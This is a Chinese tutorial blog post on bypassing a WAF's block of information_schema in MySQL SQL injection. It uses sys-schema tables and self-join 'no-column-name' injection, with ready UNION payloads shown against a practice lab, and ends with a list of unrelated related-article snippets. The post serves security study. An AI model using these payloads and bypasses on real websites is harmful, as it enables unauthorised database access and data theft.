sql注入时,waf屏蔽了information_schema如何处理?

news/2025/3/14 1:43:49/

information_schema可代替库

如果使用正则表达式屏蔽了information,则想一想有没有能代替的information的库。
例如:x$schema_table_statistics这个库里面就有table_schema和table_name,但是没有列名,那么列名就需要使用无列名注入。

可以代替information_schema的表
sys.x$schema_table_statistics
sys.schema_table_statistics
sys.x$ps_schema_table_statistics_io
sys.schema_index_statistics
sys.schema_table_statistics_with_buffer

无列名注入

当出现正则表达式过滤information_schema时,可以使用无列名注入。

join函数

当用下面这条命令在security表中查询时,会出现a表和b表拼接成一个新表,如下图。

select * from users as a join users as b;

在这里插入图片描述

再对其使用一个select查询进行包裹,由于会出现多个相同的列名,那么他就会报错。就可以利用此特性进行sql注入查询列名。

select * from (select * from users as a join users as b) as c;

在这里插入图片描述

当查询完第一个列名时,使用using排除,继续查询下一个列名。

select * from (select * from users as a join users as b using(id)) as c;

在这里插入图片描述

实操

下面在靶场中进行注入测试。

第一个列名:

?id=0' union select * from (select * from users as a join users as b) as c --+

在这里插入图片描述

第二个列名:

?id=0' union select * from (select * from users as a join users as b using(id)) as c --+

在这里插入图片描述

第三个列名:

?id=0' union select * from (select * from users as a join users as b using(id,username)) as c --+

在这里插入图片描述

以此类推。


http://www.ppmy.cn/news/1505037.html

相关文章

基于FPGA的数字信号处理(20)--半减器和全减器

目录 1、前言 2、半减器 3、全减器 4、减法器 文章总目录点这里:《基于FPGA的数字信号处理》专栏的导航与说明 1、前言 既然有半加器和全加器,那自然也有半减器和全减器了。尽管在电路中减法的实现基本都是 补码 加法 的形式,但是正所谓…

RK3568笔记五十一:W25Q64测试(spi 标准接口 )

若该文为原创文章,转载请注明原文出处。 前面有测试过W25Q64,但那是自己编写的驱动,现在使用内核自带的驱动,只需要通过SPI标准接口,编写应用程序即可以读写W25Q64. 一、硬件原理图 SPI 引脚 功能 MOSI GPIO3_C1 …

LeetCode——572. 另一颗树的子树

通过万岁!!! 题目:给你两棵树,然后问subRoot是不是root的子树。也就是root某个节点的所有孩子节点在值和结构上完全与subRoot相同。思路:我的思路比较简单,就是遍历root,遇到root中…

【vulnhub】Zico2靶机

信息收集 靶机IP发现 进行端口扫描,发现开放了22(ssh),80(http)和111(rpcbind)端口。 进行目录扫描 dirsearch -u http://192.168.93.152 网址IP访问 后面拼接/dbadmin/目录 用弱口…

HarmonyOS鸿蒙应用开发之Text组件的使用

文章目录 示例代码说明Text组件常用属性1. 文本内容2. 字体样式3. 文本对齐4. 布局与边距5. 文本截断与换行6. 其他属性 对比Android的TextView1.基本概念2.属性对比3.小结 注意事项 Text组件在ArkTS中的用法非常灵活,可以通过代码动态地设置文本内容、样式等属性。…

深入理解Shell中的`echo`命令

在Shell脚本编程中,echo命令是最基本的命令之一,用于向终端输出文本。然而,echo的用途远不止于此。本文将深入探讨echo命令的多种用法,包括打印命令执行结果和控制命令执行流程。 echo命令基础 echo命令用于在终端输出字符串或变…

[kimi笔记].net平台

.NET 是一个由微软公司开发的软件开发平台,它的历史可以追溯到2000年左右。.NET 框架最初是为Windows操作系统设计的,但随着时间的发展,微软逐步扩展了.NET 的应用范围,使其可以在多个平台上运行。以下是.NET 几个平台的历史和平台…

简单搭建dns服务器

目录 一.安装服务 二.编写子配置文件 三.编写主配置文件 四.编写文件 五.重启服务测试 配置端:IP地址为172.25.254.100、主机名为node1.rhel9.org 测试端:IP地址为172.25.254.101、主机名为node2.rhel9.org 一.安装服务 [rootnode1 ~]# dnf inst…